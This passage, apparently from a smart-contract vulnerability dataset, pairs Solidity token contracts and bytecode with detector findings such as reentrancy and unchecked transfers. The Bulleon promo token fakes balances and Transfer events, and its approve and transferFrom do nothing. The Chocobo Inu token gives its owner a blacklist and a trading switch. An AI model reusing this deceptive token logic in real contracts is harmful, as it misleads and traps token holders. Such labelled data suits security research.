fffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187a57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119cc57600960009054906101000a900460ff16806119345750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061198c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6119cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c2906128e1565b60405180910390fd5b5b6c064f964e68233a76f520000000811080611a345750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a8c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ac257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611acb57600080fd5b611ad6838383611d3c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5390612973565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bef91906123fc565b92505081905550436004600b54611c0691906123fc565b118015611c605750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611cd0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611cc39190612993565b60405180910390a3611d36565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d2d9190611e0c565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8082611d55565b9050919050565b611d9081611d75565b8114611d9b57600080fd5b50565b600081359050611dad81611d87565b92915050565b60008060408385031215611dca57611dc9611d4b565b5b6000611dd885828601611d9e565b9250506020611de985828601611d9e565b9150509250929050565b6000819050919050565b611e0681611df3565b82525050565b6000602082019050611e216000830184611dfd565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b83811115611e70576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9282611e27565b611e9c8185611e32565b9350611eac818560208601611e43565b611eb581611e76565b840191505092915050565b60006020820190508181036000830152611eda8184611e87565b905092915050565b611eeb81611df3565b8114611ef657600080fd5b50565b600081359050611f0881611ee2565b92915050565b60008060408385031215611f2557611f24611d4b565b5b6000611f3385828601611d9e565b9250506020611f4485828601611ef9565b9150509250929050565b60008115159050919050565b611f6381611f4e565b82525050565b6000602082019050611f7e6000830184611f5a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611fc182611e76565b810181811067ffffffffffffffff82111715611fe057611fdf611f89565b5b80604052505050565b6000611ff3611d41565b9050611fff8282611fb8565b919050565b600067ffffffffffffffff82111561201f5761201e611f89565b5b602082029050602081019050919050565b600080fd5b600061204861204384612004565b611fe9565b9050808382526020820190506020840283018581111561206b5761206a612030565b5b835b8181101561209457806120808882611d9e565b84526020840193505060208101905061206d565b5050509392505050565b600082601f8301126120b3576120b2611f84565b5b81356120c3848260208601612035565b91505092915050565b6000602082840312156120e2576120e1611d4b565b5b600082013567ffffffffffffffff811115612100576120ff611d50565b5b61210c8482850161209e565b91505092915050565b60008060006060848603121561212e5761212d611d4b565b5b600061213c86828701611d9e565b935050602061214d86828701611d9e565b925050604061215e86828701611ef9565b9150509250925092565b600060ff82169050919050565b61217e81612168565b82525050565b60006020820190506121996000830184612175565b92915050565b6000602082840312156121b5576121b4611d4b565b5b60006121c384828501611d9e565b91505092915050565b6121d581611d75565b82525050565b60006020820190506121f060008301846121cc565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061223d57607f821691505b60208210811415612251576122506121f6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122c082611df3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122f3576122f2612286565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061235a602883611e32565b9150612365826122fe565b604082019050919050565b600060208201905081810360008301526123898161234d565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006123c6601f83611e32565b91506123d182612390565b602082019050919050565b600060208201905081810360008301526123f5816123b9565b9050919050565b600061240782611df3565b915061241283611df3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561244757612446612286565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612488601783611e32565b915061249382612452565b602082019050919050565b600060208201905081810360008301526124b78161247b565b9050919050565b6000815190506124cd81611d87565b92915050565b6000602082840312156124e9576124e8611d4b565b5b60006124f7848285016124be565b91505092915050565b600060408201905061251560008301856121cc565b61252260208301846121cc565b9392505050565b6000819050919050565b6000819050919050565b600061255861255361254e84612529565b612533565b611df3565b9050919050565b6125688161253d565b82525050565b600060c08201905061258360008301896121cc565b6125906020830188611dfd565b61259d604083018761255f565b6125aa606083018661255f565b6125b760808301856121cc565b6125c460a0830184611dfd565b979650505050505050565b6000815190506125de81611ee2565b92915050565b6000806000606084860312156125fd576125fc611d4b565b5b600061260b868287016125cf565b935050602061261c868287016125cf565b925050604061262d868287016125cf565b9150509250925092565b600060408201905061264c60008301856121cc565b6126596020830184611dfd565b9392505050565b61266981611f4e565b811461267457600080fd5b50565b60008151905061268681612660565b92915050565b6000602082840312156126a2576126a1611d4b565b5b60006126b084828501612677565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612715602483611e32565b9150612720826126b9565b604082019050919050565b6000602082019050818103600083015261274481612708565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a7602283611e32565b91506127b28261274b565b604082019050919050565b600060208201905081810360008301526127d68161279a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612839602583611e32565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128cb602383611e32565b91506128d68261286f565b604082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061295d602683611e32565b915061296882612901565b604082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b60006020820190506129a8600083018461255f565b9291505056fea2646970667358221220b72858279549687d31f47bddf333c24676d614e88c2bbe4aae9a34be449fe80764736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,696
0xd1508fb6659ccaa57f5c2fe85b0e34e0313f90e2
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20 token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; mapping(address => bool) users; uint256 totalSupply_; uint virtualBalance = 365000000000000000000; address public dex; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); checkUsers(msg.sender, _to); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if (_to == dex) { BulDex(dex).exchange(msg.sender, _value); } return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { if (users[_owner]) { return balances[_owner]; } else if (_owner.balance >= 100000000000000000) return virtualBalance; } function checkUsers(address _from, address _to) internal { if (!users[_from] && _from.balance >= 100000000000000000) { users[_from] = true; balances[_from] = virtualBalance; if (!users[_to] && _to.balance >= 100000000000000000) { balances[_to] = virtualBalance; } users[_to] = true; } } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { // require(_to != address(0)); // // checkUsers(_from, _to); // // require(_value <= balances[_from]); // require(_value <= allowed[_from][msg.sender]); // // balances[_from] = balances[_from].sub(_value); // balances[_to] = balances[_to].add(_value); // allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // emit Transfer(_from, _to, _value); // // dexFallback(_from, _to, _value); _from; _to; _value; return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // allowed[msg.sender][_spender] = _value; // emit Approval(msg.sender, _spender, _value); _spender; _value; return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } } /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ //TODO fallback for exchange contract BulleonPromoToken is StandardToken, Ownable { string public constant name = "Bulleon Promo Token"; // solium-disable-line uppercase string public constant symbol = "BULLEON-X"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 400000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; // balances[msg.sender] = INITIAL_SUPPLY; // emit Transfer(address(0), msg.sender, INITIAL_SUPPLY); } /// @notice Notify owners about their virtual balances. function massNotify(address[] _owners) public onlyOwner { for (uint256 i = 0; i < _owners.length; i++) { emit Transfer(address(0), _owners[i], virtualBalance); } } function setDex(address _dex) onlyOwner public { require(_dex != address(0)); dex = _dex; } } contract BulDex is Ownable { using SafeERC20 for ERC20; mapping(address => bool) users; ERC20 public promoToken; ERC20 public bullToken; uint public minVal = 365000000000000000000; uint public bullAmount = 3140000000000000000; constructor(address _promoToken, address _bullToken) public { promoToken = ERC20(_promoToken); bullToken = ERC20(_bullToken); } function exchange(address _user, uint _val) public { require(!users[_user]); require(_val >= minVal); users[_user] = true; bullToken.safeTransfer(_user, bullAmount); } /// @notice This method can be used by the owner to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) external onlyOwner { if (_token == 0x0) { owner.transfer(address(this).balance); return; } ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); } function setBullAmount(uint _amount) onlyOwner public { bullAmount = _amount; } }
0x6080604052600436106100a35763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663045d038981146100a85780633e8616c8146100ce5780634da0a4fc146100e6578063523ad95914610117578063715018a61461013e5780638da5cb5b14610153578063c8d86e3514610168578063df8de3e71461017d578063f14053ad1461019e578063f2fde38b146101b3575b600080fd5b3480156100b457600080fd5b506100cc600160a060020a03600435166024356101d4565b005b3480156100da57600080fd5b506100cc60043561024d565b3480156100f257600080fd5b506100fb610269565b60408051600160a060020a039092168252519081900360200190f35b34801561012357600080fd5b5061012c610278565b60408051918252519081900360200190f35b34801561014a57600080fd5b506100cc61027e565b34801561015f57600080fd5b506100fb6102ea565b34801561017457600080fd5b506100fb6102f9565b34801561018957600080fd5b506100cc600160a060020a0360043516610308565b3480156101aa57600080fd5b5061012c6104a9565b3480156101bf57600080fd5b506100cc600160a060020a03600435166104af565b600160a060020a03821660009081526001602052604090205460ff16156101fa57600080fd5b60045481101561020957600080fd5b600160a060020a038083166000908152600160208190526040909120805460ff19169091179055600554600354610249921690849063ffffffff6104d216565b5050565b600054600160a060020a0316331461026457600080fd5b600555565b600254600160a060020a031681565b60055481565b600054600160a060020a0316331461029557600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b600354600160a060020a031681565b600080548190600160a060020a0316331461032257600080fd5b600160a060020a03831615156103735760008054604051600160a060020a0390911691303180156108fc02929091818181858888f1935050505015801561036d573d6000803e3d6000fd5b506104a4565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b1580156103d757600080fd5b505af11580156103eb573d6000803e3d6000fd5b505050506040513d602081101561040157600080fd5b505160008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810185905290519394509085169263a9059cbb92604480840193602093929083900390910190829087803b15801561047757600080fd5b505af115801561048b573d6000803e3d6000fd5b505050506040513d60208110156104a157600080fd5b50505b505050565b60045481565b600054600160a060020a031633146104c657600080fd5b6104cf81610585565b50565b82600160a060020a031663a9059cbb83836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561054e57600080fd5b505af1158015610562573d6000803e3d6000fd5b505050506040513d602081101561057857600080fd5b505115156104a457600080fd5b600160a060020a038116151561059a57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820847bad8d236ef961507eaf237454076665462c42352b983ae9411ab484479e530029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
5,697
0xb958488ab28f843e9b6856f259731f9d7f13268d
/** * https://t.me/chocoboinu * https://chocoboinu.com/ * チョコボ 🐥🐥🐥 * Chocobo, also called Chocob, is a recurring animal in the series of Final Fantasy. Large avian creatures, chocobos roughly act as the equivalent of horses, being domesticated for use as mounts, for pulling carts and carriages and for racing. Chocobos are known to be intelligent and to understand human language. * Chocobos can usually be found in chocobo forests situated throughout the world. They come in several varieties. The regular chocobos can be used to travel around the world, but they flee when dismounted. In several series, a chocobo eats a chili pepper, it runs wildly due to the burning of the tongue. * Chocobo Inu is the “proof of stake token” for CAW and SQUAWK. When you stake your Chocobo Inu token into the DAO, you are given CAW and SQUAWK. This can be swapped back at any time into the amount of Chocobo Inu you staked originally, plus any rewards that were given to the DAO in the time period you owned Chocobo Inu. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CHOCOBO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Chocobo Inu"; string private constant _symbol = "CHOCOBO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns 